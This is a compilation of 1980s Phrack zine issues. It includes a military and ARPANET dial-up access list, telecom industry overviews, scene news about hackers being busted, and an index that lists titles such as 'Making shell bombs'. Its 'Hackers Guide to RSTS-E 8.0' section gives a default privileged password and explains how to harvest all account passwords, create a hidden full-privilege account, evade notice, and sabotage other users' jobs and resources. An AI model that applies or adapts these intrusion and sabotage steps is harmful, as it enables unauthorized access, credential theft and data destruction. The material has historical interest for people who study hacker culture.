619) 223‑2148 V

(619) 226‑7884 (R2)

Santa Monica

(RAND‑ARPA‑TAC) [A]

(213) 393‑9230

(213) 393‑9237

(213) 393‑9238

(213) 393‑9239

(RAND2‑MIL‑TAC) [M] [none known]

COLORADO

Denver Fed Ctr [M]

(USGS2‑TAC) (303) 232‑0206 (303) 232‑0206 B/V

Lowry Air Force Base [M]

(LOWRY‑MIL‑TAC) [none known]

D.C.

Washington

[Andrews AFB] [M]

(AFSC‑HQ‑TAC) (301) 967‑7930 (R16) (301) 967‑7930 (R16) B (301) 736‑2990 (R4) (301) 736‑2990 (R4) B (301) 736‑2998 (R2) (301) 736‑2998 (R2) B

(PENTAGON‑TAC) (202) 553‑0229 (R14) (202) 553‑0229 (R14) B

FLORIDA

Eglin AFB [M]

(AFSC‑AD‑TAC) (904) 882‑8202 (904) 882‑8202 B/V (904) 882‑8201 (904) 882‑8201 V

MacDill AFB [M]

(MACDILL‑MIL‑TAC) [none known]

Naval Air Station ‑ Jacksonville [M]

(JAX1‑MIL‑TAC) [none known]

Naval Air Station ‑ Orlando [M]

(ORLANDO‑MIL‑TAC) [none known]

GEORGIA

Robins AFB [M]

(ROBINS‑TAC) (912) 926‑2725 (912) 926‑2725 B/V (912) 926‑2726

(912) 926‑3231

(912) 926‑3232

(912) 926‑2204 (912) 926‑2204 B/V HAWAII

Camp H.M. Smith [M]

(HAWAII2‑TAC) (808) 487‑5545 (808) 487‑5545 B

ILLINOIS

Scott AFB [M]

(SCOTT‑TAC) [none known]

(SCOTT2‑MIL‑TAC) [none known]

KANSAS

Ft. Leavenworth [M]

(LVN‑MIL‑TAC) (913) 651‑7041 (R8) (913) 651‑7041 (R8) B

LOUISIANA

Navy Regional Data Automation Center [M]

(NORL‑MIL‑TAC) (504) 944‑7940 (504) 944‑7940 B (504) 944‑7948 (R2) (504) 944‑7948 (R2) B (504) 944‑7951 (R5) (504) 944‑7951 (R5) B (504) 944‑8702 (R8) (504) 944‑8702 (R8) B

MARYLAND

Aberdeen Proving Ground [M]

(BRL‑TAC) (301) 278‑6916 (R4) (301) 278‑6916 (R4) B/V

Bethesda [M]

(DAVID‑TAC) (202) 227‑3526 (R16) (202) 227‑3526 (R16) B/V

Patuxent River [M]

(PAX‑RV‑TAC) (301) 863‑4815 (301) 863‑4815 B/V (301) 863‑4816 (301) 863‑4816 B/V (301) 863‑5750 (R6) (301) 863‑5750 (R6) B/V

Silver Spring [M]

(WHITEOAK‑MIL‑TAC) (301) 572‑5960 (R10) (301) 572‑5960 (R10) B (301) 572‑5970 (R10) (301) 572‑5970 (R10) B

MASSACHUSETTS

Hanscom AFB [M]

(AFGL‑TAC) (617) 861‑3000 (R8) (617) 861‑3000 (R8) B (617) 861‑4965 (R8) (617) 861‑4965 (R8)

Cambridge

(BBN‑MIL‑TAC) [M] [none known]

(BBN‑ARPA‑TAC) [A] [no dialup capability]

(CCA‑ARP‑TAC) [A] [none known]

(MIT‑TAC) [A]

(617) 491‑5669 (617) 258‑6224 V (617) 491‑5708 (617) 258‑6225 V (617) 491‑5734 (617) 258‑6227 V (617) 491‑5819 (617) 258‑6248 V (617) 491‑5826 (617) 491‑5841 (617) 491‑5849 (617) 491‑6769 (617) 491‑6772 (617) 491‑6937 (617) 258‑6241 (617) 258‑6242 (617) 258‑6243

MICHIGAN

U.S. Army Tank Automotive Command (TACOM) ‑ Warren [M] (TACOM‑TAC) [none known]

MISSOURI

St. Louis [M]

(STLA‑TAC) [none known]

NEBRASKA

Offutt AFB [M]

(SAC1‑MIL‑TAC) [none known]

(SAC2‑MIL‑TAC) (402) 292‑4638 (R10) (402) 292‑4638 (R10) B

(SAC‑ARPA‑TAC) [A]

(402) 294‑2398 (402) 294‑2398 B (402) 291‑2018 (402) 291‑2018 B (402) 292‑7054 (402) 292‑7054 B

NEW JERSEY

Dover [M]

(ARDC‑TAC) (201) 724‑6731 (201) 724‑6731 B/V (201) 724‑6732 (201) 724‑6732 B/V (201) 724‑6733 (201) 724‑6733 B/V (201) 724‑6734 (201) 724‑6734 B/V

Fort Monmouth [M]

(FTMONMOUTH1‑MIL‑TAC) (201) 544‑2052 (201) 544‑2052 B/V (201) 544‑2062 (201) 544‑2062 B/V (201) 544‑2072 (201) 544‑2072 B/V (201) 544‑2396 (201) 544‑2396 B/V (201) 544‑2430 (201) 544‑2430 B/V

(FTMONMOUTH2‑MIL‑TAC) (201) 544‑4254 (R3) (201) 544‑2430 B

201) 544‑2636 B

201) 544‑2638 B

(201) 544‑2777 B

NEW MEXICO

Albuquerque [M]

(AFWL‑TAC) [none known]

White Sands [M]

(WSMR‑TAC) [no dialups; contact NSC for access] Claude (Skeet) Steffey ‑ (505) 678‑1271

FTS) 898‑1271

AV) 258‑1271

NEW YORK

Griffiss AFB

(RADC‑ARPA‑TAC) [A] [no dialup capability]

(RADC‑TAC) [M]

(315) 339‑4913 (R5) (315) 337‑2004 (315) 337‑2004 B/V (315) 337‑2005 (315) 337‑2005 B/V

(315) 330‑2294 (315) 330‑2294 (FTS) 952 B/V

(315) 330‑3587 (315) 330‑3587 (FTS) 952 B/V

NORTH CAROLINA

Ft. Bragg [A]

(BRAGG‑ARPA‑TAC) (919) 396‑1131 (R10) (919) 396‑1426 (R5) B/V

919) 396‑1491 (R8) B/V

Ft. Bragg [M]

(BRAGG‑MIL‑TAC) [none known]

OHIO

Wright‑Patterson AFB [M]

(WPAFB‑TAC) (513) 258‑4218

(513) 258‑4219

(513) 258‑4987

(513) 258‑4988

(513) 258‑4989

(513) 258‑4990

(WPAFB2‑MIL‑TAC) (513) 257‑2172 (R8) (513) 257‑2172 (R8) B (513) 257‑2690 (R8) (513) 257‑2690 (R8) B (513) 257‑3625 (R8) (513) 257‑3625 (R8) B

OKLAHOMA

Tinker AFB [M]

(TINKER‑MIL‑TAC) [none known]

PENNSYLVANIA

New Cumberland Army Depot [M]

(NCAD‑MIL‑TAC) [none known]

(NCAD2‑MIL‑TAC) [none known]

TEXAS

Brooks AFB [M]

(BROOKS‑AFB‑TAC) (512) 536‑3081 (R6) (512) 536‑3081 (R6) B/V

Richardson [A]

(COLLINS‑TAC) (214) 235‑2131 (214) 235‑2131 B (214) 235‑2143 (214) 235‑2143 B (214) 235‑2178 (214) 235‑2178 B (214) 235‑2204 (214) 235‑2204 B (214) 235‑2251 (214) 235‑2251 B (214) 235‑2278 (214) 235‑2278 B

UTAH

Dugway Proving Ground [M]

(DUGWAY‑MIL‑TAC) [none known]

Salt Lake City (University of Utah) [A]

(UTAH‑TAC) (801) 581‑3486 (801) 581‑3486 B/V

VIRGINIA

Alexandria [M]

(DARCOM‑TAC) (202) 274‑5300 (202) 274‑5300 B (202) 274‑5320 (R6) (202) 274‑5320 (R6) B

Arlington

(ARPA1‑MIL‑TAC) [M] [none known]

(ARPA2‑MIL‑TAC) [M] [none known]

(ARPA3‑TAC) [A] [no dialup capability]

Dahlgren [M]

(NSWC‑TAC) (703) 663‑2162 (R8) (703) 663‑2162 (R8) B

Langley Air Force Base [M]

(LANGLEY‑MIL‑TAC) [none known]

McLean [M]

(DDN‑PMO‑MIL‑TAC) [none known]

(MITRE‑TAC) [M]

(703) 442‑8020 (R15) (703) 893‑0330 (R10) (703) 893‑0330 (R10) B/V

Norfolk [M]

(NORFOLK‑MILTAC) (804) 423‑0241 (R2) (804) 423‑0241 (R2) B (804) 423‑0247 (R2) (804) 423‑0247 (R2) B (804) 423‑0346 (R4) (804) 423‑0346 (R4) B (804) 423‑0480 (804) 423‑0480 B (804) 423‑0486 (R2) (804) 423‑0486 (R2) B (804) 423‑0489 (804) 423‑0489 B (804) 423‑0570 (804) 423‑0570 B (804) 423‑0572 (R2) (804) 423‑0572 (R2) B (804) 423‑0577 (R2) (804) 423‑0577 (R2) B (804) 423‑0651 (804) 423‑0651 B (804) 423‑0654 (R3) (804) 423‑0654 (R3) B (804) 423‑0841 (R2) (804) 423‑0841 (R2) B (804) 423‑0845 (804) 423‑0845 B (804) 423‑0849 (804) 423‑0849 B (804) 423‑0858 (804) 423‑0858 B (804) 423‑0950 (804) 423‑0950 B (804) 423‑0952 (804) 423‑0952 B (804) 423‑0955 (R3) (804) 423‑0955 (R3) B (804) 423‑0959 (804) 423‑0959 B

Reston

(DCEC‑ARPA‑TAC) [A] [no dialups available]

(DCEC‑MIL‑TAC) [M]

(703) 437‑2892 (R5) (703) 437‑2928 B (703) 437‑2925 (703) 437‑2929 B (703) 437‑2926

(703) 437‑2927

WASHINGTON

Seattle [A]

(WASHINGTON‑TAC) [no dialup capability]

ENGLAND [M]

(CROUGHTON‑MIL‑TAC) [none known]

GERMANY [M]

(FRANKFURT‑MIL‑TAC)

(M) 2311‑5641 (R8) B

(RAMSTEIN2‑MIL‑TAC) [none known]

ITALY [M]

(AGNANO‑MIL‑TAC)

JAPAN [M]

(BUCKNER‑MIL‑TAC)

(ZAMA‑MIL‑TAC)

KOREA [M]

(KOREA‑TAC) (M) 264‑4951 (R8) B

PHILIPPINES [M]

(CLARK‑MIL‑TAC)

SPAIN [M]

(MILNET‑TJN‑TAC) [none known]

(ROTA‑MIL‑TAC) [none known]

Notes:

1. "(R10)" following phone number indicates a rotary with 10 lines.

2. For alternate phone numbers, FTS=Federal Telephone System. 3. (M)=Military DoD Telephone System.

4. [M] denotes a MILNET TAC and [A] denotes an ARPANET TAC.

5. "1200 Type" refers to the modem compatibility for 1200 baud only: B/V = Bell and Vadic

B = Bell 212A only

V = Vadic 3400 only

6. This list is contained in the file NETINFO:TAC‑PHONES.LIST at SRI‑NIC.

Universal Informational Services via ISDN

==Phrack Inc.==

Volume One, Issue Two, Phile 6 of 9

Toward Universal Information Services Via ISDN

~~~~~~ ~~~~~~~~~ ~~~~~~~

by Taran King

From PROTO newsletter of AT&T Bell Laboratories

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Phase one, the Present.

~~~~~ ~~~~ ~~~ ~~~~~~~~

The local network of today, although still largely voice‑oriented, is already on the path to Universal Information Services. Lightguide fiber is dramatically expanding the capacity of local networks, helping to lower the costs and increase the demand for high‑band width, Information Age services. And public networks are increasingly digital and geared for data and special services. For example:

o The AT&T Network Systems 5ESS (TM <riiiight>) switch, designed by Bell Laboratories, can serve as the hub of a local deployment of remote modules at locations up to 100 miles from a host central office.

o The Integrated Special Services Network (ISSN) is a channel network that provides special services, customer control options and digital private lines rearrangeable under software control. The ISSN incorporates digital carrier terminating equipment such as the D4 Channel Bank, D5 Digital Terminal System and Digital Access and Cross‑connect System (DACS).

o The New Centrex is bringing greater levels of customer control, improved services and a broad range of data capabilities to the business customer.

Today's public networks consist of multiple or overlay networks. The public switched network, or circuit network, mainly for voice, is the base network. Two kinds of overlay networks provide special services. Channel networks carry private lines leased by large customers and transmit much of today's data and image traffic; they also handle traffic for network operations support. Packet networks carry data communications, while packet switching is used internally to public networks for common channel signaling to set up, route and take down calls, or to give customers information.

"Overlay networks help telecommunications companies efficiently meet growing demand for digital transmission and special services," says Stan Johnston, Market Planning Manager, Network Systems Evolution, in AT&T Network Systems. "Their integration into a single network, however, would be still more effective."

Phase two, the Integrated Services Digital Network (ISDN).

~~~~~ ~~~~ ~~~ ~~~~~~~~~~ ~~~~~

The ISDN is a concept to which AT&T is committed ‑ and it's the foundation for Universal Information Services. The central idea of ISDN, as AT&T Network Systems sees it, is to provide an individual user a link to the local central office of generous band‑width ‑ a digital subscriber line that can carry 144,000 bits per second (sure beats 2400 baud!). The band‑width is subdivided into two 64,000‑bit channels, which may carry voice or data or both, and one 16,000‑bit channel for packetized signaling information or data transport. Such a link provides convenient "integrated" network access by accommodating voice, data and signaling over a single line. The ISDN will make it easier for a customer to get varied services from public and private networks. More bandwidth for big customers will be available through another ISDN access standard, the extended digital subscriber line, which provides 1.5 billion bits per second as 24 channels of 64,000 bits each.

In 1986, new software from Bell Labs will enable the 5ESS switch to accommodate ISDN‑sized 144,000‑bit channels that standardize and simplify subscribers' use of local networks. AT&T is committed to future products that will also be ISDN‑compatible. Other vendors, too, some of whom already plan to build premises, terminal, and other equipment to ISDN standards, will make ISDN a cooperative effort.

By providing integrated digital access to networks, ISDN will make important progress toward the goal of Universal Information Services. But overlay networks will continue to divvy up the transport job. And messages needing less than 144,000 bits per second will not fill their allotted bandwidth, leaving capacity underutilized.

Phase three, Universal Information Services.

~~~~~ ~~~~~~ ~~~~~~~~~ ~~~~~~~~

Rooted in the fertile ground of 5ESS switches, ISDN equipment and technologies such as wideband packet transport, Universal Information Services will bear fruit during the 1990s. From a single kind of network will hang services as different as apples, oranges and pears. Just as network access was integrated in ISDN, transport functions will increasingly be integrated by powerful new network equipment evolved from equipment developed for the ISDN. Where customers once got standard‑sized ISDN channels, they'll get big bandwidth for large jobs, little bandwitdh for small jobs.

MCI Overview

==Phrack Inc.==

Volume One, Issue Two, Phile 7 of 9

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

@

@ _ _

@ | \/ |

@ |_||_|etal / /hop @

@ __________/

@ /___________

@ Headquarters of Phrack Newsletter @

@

@ (314) 432‑0756 @

@

@ Proudly Presents @

@

@ MCI Overview @

@

@ Written on 11/16/85 @

@

@ by @

@

@ Knight Lightning & Taran King @

@

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

MCI Communications Corporation, headquartered in Washington, D.C., provides a full range of domestic and international telecommunications services, including voice and data, telex and cable, paging and mobile telephone, and time sensitive message delivery.

Since its founding in 1968, MCI has grown to more than $1.6 billion in annual sales and serves more than 1.9 million business, residential and government customers through its four major business units:

MCI Telecommunications

MCI Airsignal

MCI International

MCI Digital Information Services

MCI TELECOMMUNICATIONS

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

MCI Telecommunications provides domestic interstate long distance service throughout all 50 states, plus Puerto Rico, the U.S. Virgin Islands, and major calling areas of Canada. It is also authorized to provide varying degrees of intrastate long distance service in some states.

MCIT also is the first long distance carrier other than AT&T to offer direct dial service overseas. International telephone service is available to all residential and commercial customers (with the exception of Private Line customers). In October, 1984 the first international service agreements were announced with the following countries: Argentina, Belgium, Brazil, East Germany, Greece, United Arab Emirates, and the United Kingdom.

Total capital investment in MCI's long distance network is approximately $2 billion. MCI's network, the second largest in the U.S., employs microwave optical fiber, satellite and various digital transmission technologies.

Subscribers ‑ Domestic Long Distance (as of 10/84)

‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Residential 1.4 million

Commercial .3 million

Total 1.7 million

Operations ‑ (as of 10/84)

Network Miles 20,543

(microwave, optical fiber, satellite)

Circuits 238,000

Employees 9,500 (full‑time, approx.)

MCI AIRSIGNAL

‑‑‑‑‑‑‑‑‑‑‑‑‑

MCI Airsignal provides personal message delivery and car telephone services. MCI Message Service is offered in more than 50 metropolitan areas. In 1984, service will commence in New York City, Baltimore‑Washington, Los Angeles, and Chicago. MCI car telephone service is offered in 20 markets.

Personal Message Delivery Service

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

ALPHANUMERIC MESSAGE SERVICE

Displays up to 40‑character message using letters and/or numbers. Memory and recall ability. Alerts subscriber with a silent visual alert or a soft tone.

DISPLAY MESSAGE SERVICE

Displays up to 24‑digit message (e.g., phone number, stock quotes, sales figures, coded messages). Memory and recall capability. Alerts customer to message with a silent visual alert or a soft tone.

TONE MESSAGE SERVICE

Notifies customer of a message with a soft tone.

VOICE MESSAGE SERVICE

Receives message in actual voice of caller.

EXPRESS MESSAGE SERVICE

Receives and stores messages. Instantly alerts subscriber via pager when a message is received.

Car Telephone Service

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Enables customers to place calls to or receive calls from anywhere in the world, 24 hours a day, as they travel in their cars. With the advent of new cellular technology, both the quality and the accessibility of car telephone service will vastly improve.

MCI has thus far obtained franchises to operate a new kind of mobile phone service, cellular telephone, in Minneapolis and Pittsburgh, and has received favorable decisions from FCC administration law judges authorizing service in Los Angeles, Denver‑Boulder, and Kansas City. MCI has applied for licenses to provide cellular service in 81 metropolitan areas.

MCI Airsignal Branch Sales Offices

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Personal Message Service/Conventional Mobile Phone Service

Birmingham (205) 942‑2924

Sacramento (916) 444‑2350

Memphis (901) 682‑9658

Cleveland (216) 464‑7311

Dallas (214) 788‑5111

Fresno (209) 486‑7410

Las Vegas (702) 382‑7461

Denver (303) 778‑7878

Portland (503) 227‑2556

Philadelphia (215) 677‑9845

Atlanta (404) 252‑2114

West Florida (813) 875‑3404 Minneapolis (612) 544‑8175 Kansas City (913) 648‑8090

Miami (305) 491‑0122

Pittsburgh (412) 343‑1611

Houston (713) 464‑2516

Bakersfield (805) 832‑2346

Cellular Telephone Offices

Minneapolis‑St. Paul (612) 544‑3312 Los Angeles (714) 527‑0385 Elsewhere in California (800) 344‑3455

Headquarters ‑ Washington, D.C. (202) 429‑9660

MCI INTERNATIONAL

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

MCI International provides private‑line voice service to several overseas countries, and data and message services, including telex, cablegram, leased channel, and packet switching communications, to more than 200 overseas points. MCI has moved into two new areas of service: International direct‑dial telephone service and international electronic mail and hard‑copy delivery services.

International Record Services

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

TELEX SERVICE (domestic and international) permits instantaneous, two‑way, written communications with other subscribers worldwide. Customers can send messages at any time, even though the receiving terminal may be unattended. MCI International offers access to its telex service from a variety of terminals and networks; not only subscribers with telex terminals but also those with communicating word processors, data terminals or computers that communicate over telephone lines can take advantage of MCI International telex service. To subscribers connected to its own telex network, MCI International offers World Message Services‑‑a package of communications offerings including telex, cablegram and MCI Mail services. Various service enhancements are available to save time, improve operating efficiency and simplify records keeping for telex users.

CABLEGRAM SERVICE, the traditional means of international written communications, offers flexibility in delivery and economical rates for shorter messages. Cablegrams can be delivered to virtually any overseas point. Subscribers with telex terminals or various other types of equipment can access and TELUS cablegram switch and take advantage of such service enhancements as abbreviated addressing and departmental billing.

LEASED CHANNEL SERVICE provides an exclusive line between a U.S. firm and it's overseas office for private communications 24 hours a day. Each MCI International leased channel is tailored to meet the needs of a specific customer for teleprinter, facsimile, voice and/or data traffic. For subscribers with several offices requiring private communications with each other, MCI International offers a versatile message‑switching service. Voice/data leases can be configured to meet a whole array of communicating needs; for example, one channel might carry data traffic from a computer at night, voice communications during office hours, and simultaneous teleprinter messages at any time. Data channels can handle requirements for traffic at any speed from 1200 bits per second to 1.544 megabits per second.

IMPACS SERVICE uses packet‑switching technology to provide international communications service between data terminals and computers. Impacs offers on‑line, real‑time connections and enables many types of incompatible systems to communicate. Impacs service offers virtually error‑free transmission because of the error‑detection and retransmission capability of the network.

INSTALINK SERVICE allows businesses overseas to use regular telex equipment to access remote computing systems and databases in the U.S. Subscribers can retrieve data from a computer‑based information service or use a computing system connecting to a packet‑switching network in the U.S.

INTERNATIONAL FACSIMILE SERVICE enables subscribers to send duplicates of original documents overseas quickly and efficiently, even when neither the sender nor the receiver has facsimile transmission equipment, or when the sender and receiver have incompatible equipment.

DATEL SERVICE provides automatic or voice‑coordinated data transmission at speeds up to 2400 bits per second. Either digital or analog facsimile traffic can be transmitted via Datel. Datel facilities are conditioned to ensure high‑quality transmission. The MCI International switching center allows communications between incompatible terminals.

MARITIME SERVICES provide instant, high‑‑quality contact between ships at sea or offshore rigs, and between these vessels and land‑based subscribers worldwide.

International Voice Services

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

PRIVATE LINE SERVICE provides, fast, easy access to a single overseas location at an economical monthly rate. This technically efficient system maximizes the use of line capacity by recognizing idle time and assigning a speaker to a transmission path only when the path is needed. Users can dial a four‑digit extension from a regular business phone to reach a key overseas location.

International Mail Services

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

WORLD MESSAGE SERVICE subscribers can access the domestic electronic mail and hard‑copy delivery offerings of MCI Mail. In addition, MCI International is developing fast, low‑cost services that will deliver electronic messages and high‑quality printed documents worldwide.

Customer Service

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

THE CUSTOMER TROUBLE REPORTING ASSISTANCE CENTER at MCI International addresses customer concerns such as equipment maintenance and service performance questions. Customer service specialists, on duty 24 hours a day on business days, answer questions and electronically route service requests to technicians nationwide.

MCI DIGITAL INFORMATION SERVICES CORP.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

MCI Digital Information Services, MCI's newest unit, provides high‑speed, low‑cost, time‑sensitive message delivery (MCI Mail), either electronically or via hard copy.

MCI Mail provides time‑sensitive document delivery to anyone, anywhere vial MCI's long‑distance telephone network. MCI Mail can reach a recipient instantly, in four hours or less, or overnight by noon the next day. Prices are as much as 90 percent lower than comparable time‑sensitive mail delivery services. MCI Mail can be delivered electronically, terminal to terminal, or laser printed on letterhead stationery with the customer's signature.

MCI Mail customers can even order gifts and services direct through MCI Mail, ranging from software and paper for personal computers to investment advisory services to travel specials.

There are no sign‑up, monthly service charges or "connect time" charges for MCI Mail. MCI Mail can be used by virtually any personal computer, word processor, electronic typewriter, data terminal, telex, or other digital communications device. The service is accessed by a local telephone call or 800 number.

MCI Mail

‑‑‑‑‑‑‑‑

INSTANT delivery to an "electronic" mailbox.

FOUR‑HOUR paper delivery by courier to 17 major metropolitan areas regardless of point of origin.

OVERNIGHT paper delivery by courier by noon the next day in 20,000 continental U.S. cities.

MCI LETTER transmitted electronically to the MCI digital postal center nearest its destination, then delivered locally by the U.S. Postal Service.

TELEX DISPATCH enables MCI Mail subscribers to transmit messages to the more than 1.6 million telex subscribers worldwide.

VOLUME MAIL enables customers to send large mailings in a variety of letter formats, at substantial savings in delivery time and expense.

========================================

Look for more MCI Files coming to Metal Shop soon!

This has been a Knight Lightning Presentation

Hacking RSTS

==Phrack Inc.==

Volume One, Issue Two, Phile 8 of 9

The Hackers Guide to RSTS‑E 8.0

Data Line. TWX 650‑240‑6356

Rsts is one of the most versatile operating systems available for the PDP‑11 series of computers. It can emulate both RSX and RT‑11 (though not fully), and is often a choice where multiple concurrent operating systems must be online. I was a system manager on an 11‑23 for about a year and learned a fair amount about the OS (perhaps forgetting a good deal in the interim). This phile applies to release 8.0 and the entire 7 series. By the way, version 9.0 is it ‑ DEC is discontinuing RSTS with that release and using 9.0 as a bridge to VMS for the PDP‑11 series. The logon will tell which version you are hacking.

If the SYSTAT‑before‑logon has been disabled (It probably has), no big worry. Account 1,2 must be present on the system and contains most of the system utilities. On booting, the account is called at least 8 times to put batch processors and spoolers online. Changing [1,2]'s passwords in the command file is a tedious process ‑ most system managers are too lazy, so it won't change often. Oh yes, the default PW for 1,2 is SYSLIB. This knowledge should cut hacking time considerably for many systems. When you get in, RUN $MONEY. This gives all accounts, KCT's (Billing units), accesses, time on system, and PASSWORDS, if you ask. Don't reset the system when it asks, it merely zeroes the program and not the hardware, but could tip someone off that he system had been hacked.

Personally, I like running out of a new account, so RUN $REACT. Pick a new account , making sure the first number (before the comma) is a "1" to get full privilege. Accept defaults for disk placement. As for Cluster size, I prefer 4. It's large enough to get fast disk access, but small enough so that little space is wasted for small files. Cluster size is shown (CLU or CLS) on MONEY and on DIR/FULL. Follow conventions and you'll stand less chance of being noticed.

RSTS has some of the most complete HELP files short of a CDC mainframe. HELP HELP will give the forst screen of the nested menus. Be sure to do this from a privileged account or you'll miss about half of the best commands. HELP SYSTAT will give a thorough overview of the system setup & status program.

RUN $SYSTAT (or just SYS if the Concise Command Language is set up normally). On the left is a report of te system users including all background jobs (print spoolers, batch processors and the like), their keyboard, and what state they are in (RN=run, ^C=waiting for input, DCL=logged on, no program running, DR=Disk Read, DW=Disk Write). To the right is a list of busy I/O devices. At the end is a full report of Disk names (DR:=Hard, DU:= floppy), and space allocated/free. To cause some havoc pick a target KB, preferrably one running a financial type program. Note the Job leftmost column. Simply type UT KILL and he's totally gone, without so much as a logoff message. If done during a Disk Write ‑ get out the backups!!

If just tying up resources is more your game, RUN $VT50PY. It gives the utilization readout on a 20 second basis, or whenever a key is struck. The program itself uses a lot of CPU time, so when the Interval <20>? comes up, enter a 1 and watch the EXEC percent go through the roof.

If wasting paper is more your style, find the KB: number of the printer (KB0: is the console) from SYSTAT when it's in use, or try LP1:. Find a long text file (DIR [*,*]*.txt) and COPY LP1:=filename. Don't forget the colon when referring to keyboards or printers.

Try DTR. If DATATRIEVE is online, you can set up a database of huge proportions. Again, full help is available. SET GUIDE (configure your terminal for VT‑100) and it takes you through every step.

Phreak World News

==Phrack Inc.==

Volume One, Issue Two, Phile 9 of 9

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

Phreak World News

Compiled by

\\\\\=‑{ Knight Lightning }‑=/////

________________________________________

Spitfire Hacker Leaves Phreak World

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Spitfire Hacker resigned from the phreaking world in December due to a lack of computer. He now is holding a job and trying to earn enough money to get another computer. He says that he plans to be back by November 1986.

________________________________________

MCI Cracks Down

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Dr. Crash busted for MCI scanning. In the early part of December, Dr. Crash ran a scanner on MCI, MCI traced him and told him to stop, unfortunately Dr. Hack, another 314er, started scanning the same port later that night. MCI didn't trace it again and assumed it was Dr. Crash back at work. All of his files were hidden away but MCI and authorities confiscated his Atari computer and his phone. MCI security told Dr. Crash that he was part of an ongoing investigation. Later that month he had a meeting with MCI security, where they questioned him about the incident. His computer, they told him, will arrive in the mail soon.

________________________________________

Also in this issues news, Jester Sluggo said his goodbyes to St.Louis and now has returned to his home in Cross‑Bar Territory.

________________________________________

Announcing... _ _ _____

| \/ |

|_||_|etal / /hop

________

/________AE

300/1200/2400 Baud/20 Megs Online 24 hours a day/7 days a week

Sysop: Cheap Shades

(314) 256‑7284

If you would like to become a member of this board please contact Cheap Shades, Knight Lightning, or Taran King for the general password.

________________________________________

Metal Shop...PRIVATE

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Metal Shop is now officially a private BBS. On Jan. 2 Taran King and Knight Lightning purged 241 users from the Metal Shop userlist. There are now general passwords and new user passwords to this system. If you would like to become a member of Metal Shop, please contact Taran King, Knight Lightning, or Cheap Shades on any bbs they are on.

________________________________________

Extasyy Elite Disbanded

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The following data has not been completely researched and may be considered as rumors. Bit Blitz busted for phreaking, the organization and enforcement agencies are unknown. However, $3000 worth of computer material (7 computers) were confiscated. Also it is reported that The Mentor informed on him.

The Mentor was busted for breaking into his school to steal 29 computers. Also it has been said that Poltergeist is in the hospital with leukemia. It is unknown if any other members were busted for any other reasons. However, all former members are apparently safe now.

The Bit Blitz and Crustaceo Mutoid are supposedly forming a new group called Rising Force and The Mentor is starting an elite hacking group.

Much of this information has been supplied by former Extasyy member:

Kleptic Wizard

________________________________________

Legion of Doom Vs. Stronghold East Elite

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Somehow The Maelstrom found the secret LOD VMS in 305, and decided to post about it on Stronghold East. Knight Lightning spoke with Compu‑Phreak of the LOD, and he said that he told Slave Driver, co‑sysop of Stronghold East, to remove all posts concerning the LOD VMS, and the LOD itself. He also threatened that failure to do so would bring down the wrath of the 6 most active members of the LOD.

When last looked at Stronghold East still had the information online.

The LOD VMS has 96 megs online and store information in a way similar to laserdisc.

All readers are encouraged NOT to call it as Compu‑Phreak is getting pissed and you don't have the passwords anyway.

________________________________________

Dartmouth Abandoned

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

With the destruction of the 58107s 12‑27‑65 password to the Dartmouth system, it seems to have been abandoned by phreaks. This is good because basically it only causes trouble. Many users get impersonated on that system and false rumors are constantly being started. The best way to have a conference is a tele‑conference...start one today!

________________________________________

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

3

- Index by Cheap Shades

- Rolm systems by Monty Python

- Making shell bombs by Man-Tooth

- Signalling systems around the world by Data Line

- Private audience by Overlord

- Fortell systems by Phantom Phreaker

- Eavesdropping by Circle Lord

- Building a Shock Rod by Circle Lord

- Introduction to PBX's by Knight Lightning

- Phrack Issue(03), Number(10) by Phrack

Index

==Phrack Inc.==

Volume One, Issue Three, Phile 1 of 10

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

%

% _ _

% | \/ |

% |_||_|etal/ /hop %

% _________/

% /__________/

%

% Proudly Presents %

%

% Phrack Inc. Issue Three %

%

% Released Feb 1, 1986 %

%

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

The files contained in this issue of Phrack Inc. are as follows:

1: Index written by Cheap Shades

2: Rolm systems written by Monty Python

3: Making shell bombs written by Man‑Tooth

4: Signalling systems around the world by Data Line 5: Private audience written by Overlord

6: Fortell systems written by Phantom Phreaker 7: Eavesdropping written by Circle Lord

